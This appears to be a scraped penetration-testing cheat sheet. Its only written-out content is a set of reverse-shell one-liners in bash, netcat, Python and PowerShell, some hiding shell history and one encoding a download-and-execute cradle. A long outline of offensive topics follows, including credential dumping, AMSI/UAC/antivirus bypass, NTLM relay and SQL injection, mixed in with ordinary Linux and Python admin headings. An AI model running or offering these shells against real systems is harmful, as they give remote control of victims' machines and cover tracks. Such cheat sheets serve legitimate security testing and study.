Reverse Shells
Bash
root@kali:$ bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1
root@kali:$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/fNetcat
root@kali:$ {nc.tradentional|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bashPython
root@kali:$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
root@kali:$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'root@kali:$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);s.close()'
root@kali:$ python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.putenv("HISTFILE","/dev/null");pty.spawn("/bin/bash");s.close()'PowerShell
root@kali:$ echo -n "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/[1]')" | iconv -t UTF-16LE | base64 -w0; echo
PS > powershell -NoP -EncodedCommand <BASE64_COMMAND_HERE>Meterpreter
Listeners
Upgrade to PTY
File Transfer
Linux
Windows
Linux2Linux
Linux2Windows
Network attacks
Sniff Traffic
LLMNR/NBNS Poisoning
ARP Spoofing (ARP Cache Poisoning)
DHCPv6 Spoofing
VNC
SMB
mount
smbclient
smbmap
NFS
LDAP
ldapsearch
LDAPPER.py
windapsearch
ldapdomaindump
ad-ldap-enum
Nmap NSE
AD
Dump Users from DCE/RPC SAMR
Tricks
Abuse Privileges
SeBackupPrivilege
Remote Management
RDP
runas /netonly
WinRM / PSRemoting
SMB (PsExec)
WMI
Dump Credentials
lsass.exe
NTDS
NTLM
Responder Capture Structure
NTLM Relay
ExecutionPolicy Bypass
AMSI Bypass
Evil-WinRM + IEX
Memory Patching
UAC Bypass
SystemPropertiesAdvanced.exe
cmstp.exe
Bypass-UAC
AppLocker Bypass
AV Bypass
msfvenom
Veil-Evasion
GreatSCT
Ebowla
Invoke-Obfuscation
Out-EncryptedScript.ps1
Tricks
Metasploit
Debug
Information Gathering
Google Dorks
Autonomous Systems
DNS
SMTP
IPSec
IKE
Discovery
nmapAutomator
AutoRecon
Pivoting
Chisel
revsocks
LPE
Linux
Windows
Auth Brute Force
Hydra
Patator
Password Brute Force
hashcat
Единица хэшрейта
Хэшрейт
Хэши в секунду
Engagement
Network Status
Host Discovery
ARP
Hunting for Subnets
Ping Sweep
RMI Sweep
Port
Service
Services
Nmap XML Parsers
Ports (Quick)
Ports (Full)
AD Environment Names
NetBIOS Scanning
LHF Checkers & Exploits
Tricks
Port
Service
Port
Service
Nmap
Generate Password List
hashcat
cewl
Tools
One-liners
Unsorted
Process Name
Vendor/Product
Reverse & PWN
Ghidra
DBMS
MySQL/MariaDB
Oracle
MS SQL
SQLite
Redis
Web
LFI/RFI
PHP RFI with SMB
Log Poisoning
SQLi
sqlmap
DIOS
Truncation Attack
Commas blocked by WAF
Write File
Read File
XSS
Redirections
Data Grabbers
XMLHttpRequest
Web Security Academy
Upgrade Burp
Extensions
Unsorted
Mindmaps
Sublime Text
Installation
Linux
Git
Docker
Installation
Linux
Python
Install/Update
pip
freeze
venv
virtualenv
virtualenvwrapper
pipenv
Testing
doctest
Linting
flake8
pylint
PyPI
twine
Misc
bpython
GPG
VirtualBox
DHCP
Shared Folders
Dirty Network Configure
netplan
Kali
Configure
VirtualBox
Guest Additions
Network
Share Folder (old)
Unix
Encodings
Windows/Unix Text
Network
Connections
Public IP
Virtual Terminal
Process Kill
Dev
C Library Path
Vangrind
OpenSSL
Encrypt/Decrypt
Generate Keys
Clear
Log Files
.bash_history
Secure Delete
Partitions
Floppy
Checksums
Permissions
Fix Linux Freezes while Copying
Kernel
Xfce4
GIFs
NTP
ImageMagick
Tools
tar
7z
grep/find/sed
readlink
dpkg
iptables
fail2ban
git
Console Logging
script
tmux
Time in Prompt
Fun
CMatrix
screenfetch
Windows
Secure Delete
cipher
sdelete
System Perfomance
Network
Connections and Routes
Clean Cache
Symlinks
Wi-Fi Credentials
Installed Software
ADS
.msc
KRShowKeyMgr
Permissions
DISM
TelnetClient
Last updated
